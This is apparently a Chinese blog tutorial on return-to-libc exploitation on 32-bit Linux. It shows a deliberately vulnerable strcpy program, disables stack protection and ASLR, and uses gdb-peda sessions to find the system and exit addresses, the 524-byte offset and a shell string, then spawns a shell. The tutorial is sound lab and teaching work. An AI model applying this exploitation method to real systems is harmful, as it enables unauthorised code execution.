linux中ret2libc入门与实践

前言

本来想找一个windows下的栈溢出漏洞的poc作为漏洞分析路程的开篇,但是一路走来遇到了太多的问题,大大小小,什么都有。同时因为工作事情比较多,能拿出来调试和写文章的时间也是断断续续。昨天刚有一点心得,今天就忘了一大半,同时会推翻自己之前的结论。

经过漫长的求证过程,打算把NX利剑-ret2libc这种方法和其原理用简单直接的方式展示出来。

简介

DEP-数据执行保护(Data Execution Prevention).这是一套软硬件技术,能够在内存上执行额外检查以帮助防止在栈上执行恶意代码。其基本原理是将数据所在的内存页标识为不可执行,当缓冲区溢出成功跳转到shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不会执行恶意质量

return-to-libc 是一种对抗linux系统栈保护的攻击方法。我们知道大部分linux系统有栈保护机制(DEP)。简单的说,既然栈中的指令不能执行,我们可以找到libc中的函数去执行,这样就绕过了数据不可执行的问题了。

后面都将用ret2libc作为return-to-libc的简写表示。

攻击原理

通过把函数返回地址直接指向系统库中的函数(如system函数),同时构造该函数的输入参数栈,就可以达到代码执行的目的。

正常堆栈布局:
这里写图片描述

ret2libc执行system的堆栈布局:
这里写图片描述

这样我们就获得了攻击payload的布局结构:

A*N + system_addr + fake_ret + system_arg

这里放一个迷惑LZ很多天的溢出堆栈的布局:
这里写图片描述

第一段是说栈溢出,覆盖EIP跳转到shellcode位置执行;
第二段是说使用ret2libc执行system函数。

看出问题了吗?

system地址居然在EBP的位置。他丫的,颠覆三观有没有。EBP是记录栈底位置的,那不成要把程序的调用栈置换到代码区不成。

布局图片引用自mit的csail,明眼的人估计一看mit就亮了。他丫的,这可是麻省理工学院 计算机科学与人工智能实验室的paper。居然有这么大的错误。让我这种半瓶醋如何是好。传送门在此

环境

➜  ~ uname -a
Linux ubuntu 4.4.0-133-generic #159-Ubuntu SMP Fri Aug 10 07:31:43 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
➜  ~ gdb -v
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
➜  ~ pip show peda 
Name: peda
Version: 1.0
Summary: Python Exploit Development Assistance for GDB
Home-page: https://github.com/longld/peda
Author: Long Le Dinh
Author-email: longld@vnsecurity.net
License: Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License
Location: /usr/local/lib/python2.7/dist-packages

源码

这里是ret2libc测试用的源码,攻击payload在命令行输入。


#include <stdio.h>    
#include <string.h>    

void evilfunction(char *input) {    

    char buffer[512];    
    strcpy(buffer, input);    
}    

int main(int argc, char **argv) {    

    evilfunction(argv[1]);    

    return 0;    
}

payload为什么要在命令行输入?

因为system的参数“/bin/sh”这段字符串的地址会动态变化,需要手动捞出来之后在输入。当然还有额外的效果,就是源码简洁,攻击过程直观。

编译 & 关闭ASLR

编译

$ gcc -Wall -g -o stack3 stack3.c -fno-stack-protector -m32

关闭ASLR

# echo 0 > /proc/sys/kernel/randomize_va_space

需要解决的问题

根据上面的paylload结构,可以知道我们需要填充的有:

  1. 需要填充多少个A,或者说system地址从多少A后面开始写。
  2. system地址是多少?
  3. exit地址是多少?你可能会问说好的fake ret怎么变成exit地址了?因为exit函数可以清理被破坏的栈,导致程序不会崩溃。其实,在我看来填什么都行。
  4. system函数的执行参数“/bin/sh”这个字符串地址是多少?

运行

  1. 下断点,找到system和exit函数的地址
➜  test_execve gdb stack3 
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from stack3...done.
gdb-peda$ b evilfunction 
Breakpoint 1 at 0x8048414: file a.c, line 8.

这里写图片描述

这样我们就知道了
system函数地址:0xf7e3f940
exit函数地址:0xf7e337b0
2. 找到evilfunction函数的ret位置
因为evilfunction中buffer声明的大小是512字节,所以我们用来溢出的字符串长度必然大于512.
这里通过peda工具计算ret的位置。

生成长度为530的字符串

gdb-peda$ pattern_create 530
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOA'

作为输入参数运行

gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOA'
Starting program: /home/test/tmp/test_execve/stack3 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOA'

程序崩溃,找到EIP寄存器中的字符串’s9As’,即为ret-我们需要的返回地址。

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0xffffc980 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
EBX: 0x0 
ECX: 0xffffd0b0 --> 0x414f73 ('sOA')
EDX: 0xffffcb8f --> 0x414f73 ('sOA')
ESI: 0xf7fb5000 --> 0x1afdb0 
EDI: 0xf7fb5000 --> 0x1afdb0 
EBP: 0x416a7341 ('AsjA')
ESP: 0xffffcb90 --> 0xff00414f 
EIP: 0x73413973 ('s9As')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x73413973
[------------------------------------stack-------------------------------------]
0000| 0xffffcb90 --> 0xff00414f 
0004| 0xffffcb94 --> 0xffffcc54 --> 0xffffce7f ("/home/test/tmp/test_execve/stack3")
0008| 0xffffcb98 --> 0xffffcc60 --> 0xffffd0b4 ("GNOME_KEYRING_PID=")
0012| 0xffffcb9c --> 0x8048481 (<__libc_csu_init+33>:   lea    eax,[ebx-0xf8])
0016| 0xffffcba0 --> 0xf7fb53dc --> 0xf7fb61e0 --> 0x0 
0020| 0xffffcba4 --> 0xffffcbc0 --> 0x2 
0024| 0xffffcba8 --> 0x0 
0028| 0xffffcbac --> 0xf7e1d637 (<__libc_start_main+247>:   add    esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x73413973 in ?? ()

计算ret偏移,得到524,所以我们要填充524个A。

gdb-peda$ pattern_
pattern_arg     pattern_create  pattern_env     pattern_offset  pattern_patch   pattern_search  
gdb-peda$ pattern_offset s9As
s9As found at offset: 524
  1. “/bin/sh”的地址

这里感觉比较巧妙,正常我们可以用自己过早的字符串放进去,但是,这样的话我们还得动态计算我们字符串的地址。ret2libc使用环境变量中的“/bin/sh”字符串作为参数。需要注意的是,环境变量的地址会动态变化,记得老外的文章中提过,每运行一次,好像地址会增加几个字节。

我的shell是zsh,所以在环境变量中找zsh就好了。

gdb-peda$  x/500s $esp
...
...
cf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.o"...
0xffffdbf4: "gv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;3"...
0xffffdcbc: "6:*.xspf=00;36:"
0xffffdccc: "SSH_AUTH_SOCK=/run/user/1000/keyring/ssh"
0xffffdcf5: "XDG_GREETER_DATA_DIR=/var/lib/lightdm-data/test"
0xffffdd25: "SHELL=/bin/zsh"
0xffffdd34: "TERMINATOR_UUID=urn:uuid:773f4dc6-e568-4861-9206-7a07da238c4a"
0xffffdd72: "LC_NAME=zh_CN.UTF-8"
0xffffdd86: "GDMSESSION=ubuntu"
0xffffdd98: "QT_ACCESSIBILITY=1"

得到字符串”SHELL=/bin/zsh”的地址:0xffffdd25

进一步计算”/bin/zsh”的地址:

gdb-peda$ p 0xffffdd25+6
$1 = 0xffffdd2b

“/bin/zsh”的地址:0xffffdd2b

汇总

‘A’ * 524
0xf7e3f940 system
0xf7e337b0 exit
0xffffdd2b /bin/sh

攻击

运行命令:

gdb-peda$ r $(cat arg)
Starting program: /home/test/tmp/test_execve/stack3 $(cat arg)

这里写图片描述

在调用出来的zsh中我们可以运行各种命令,但是使用exit退出时,发现会卡住。理论上会完美推出的,结果这个样纸。原因还不明,有时间再查查。

总结

这个程序的成功执行得利于关闭ASLR,system和exit函数的地址才能固定下来。我们构造poc才方便很多。

ret2libc的精髓之处在于,把ret addr修改成libc库中的函数地址,并且构造了system函数的参数。对于DEP防御来说,你不让我执行我的代码,我就利用你的函数达到我的目的。这边是面向返回编程的设计思路。

这里写图片描述

参考文献

https://www.shellblade.net/docs/ret2libc.pdf
https://www.exploit-db.com/docs/english/28553-linux-classic-return-to-libc-&-return-to-libc-chaining-tutorial.pdf
https://www.exploit-db.com/papers/13147/
https://blog.csdn.net/guilanl/article/details/61921481
https://blog.csdn.net/linyt/article/details/43643499
https://blog.csdn.net/linyt/article/details/48738757
https://blog.csdn.net/huqinwei987/article/details/23548239
https://pdfs.semanticscholar.org/presentation/ead2/ed949c8d3933d956868d092c8fc29f626ec2.pdf
https://blog.csdn.net/tzh_linux/article/details/50842814
https://exploit.courses/files/bfh2017/day4/0x51_ExploitMitigations.pdf

  • 12
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
pwn ret2libc是一种攻击技术,其原理是通过利用程序的栈溢出漏洞,来控制程序的执行流程,以达到执行libc的函数的目的。 在ret2libc攻击,程序会调用libc的函数,例如system函数,来执行特定的操作。但是在程序没有自带的/bin/sh字符串,所以需要通过其他方式获取执行shell命令的能力。 具体而言,攻击者会利用程序的栈溢出漏洞,将栈上的返回地址修改为在libc的某个函数的地址,例如puts函数。然后通过执行puts函数,将栈上保存的函数地址打印出来。由于libc的函数地址相对位置是不变的,攻击者可以根据已知的函数地址和libc的版本来计算system函数的真实地址。然后再利用system函数执行特定的操作,比如执行shell命令。 总结来说,pwn ret2libc攻击的原理是通过栈溢出漏洞修改返回地址为libc的一个函数地址,然后根据已知的函数地址和libc的版本计算出system函数的真实地址,最终实现执行shell命令的目的。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [pwn学习——ret2libc2](https://blog.csdn.net/MrTreebook/article/details/121595367)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [pwn小白入门06--ret2libc](https://blog.csdn.net/weixin_45943522/article/details/120469196)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值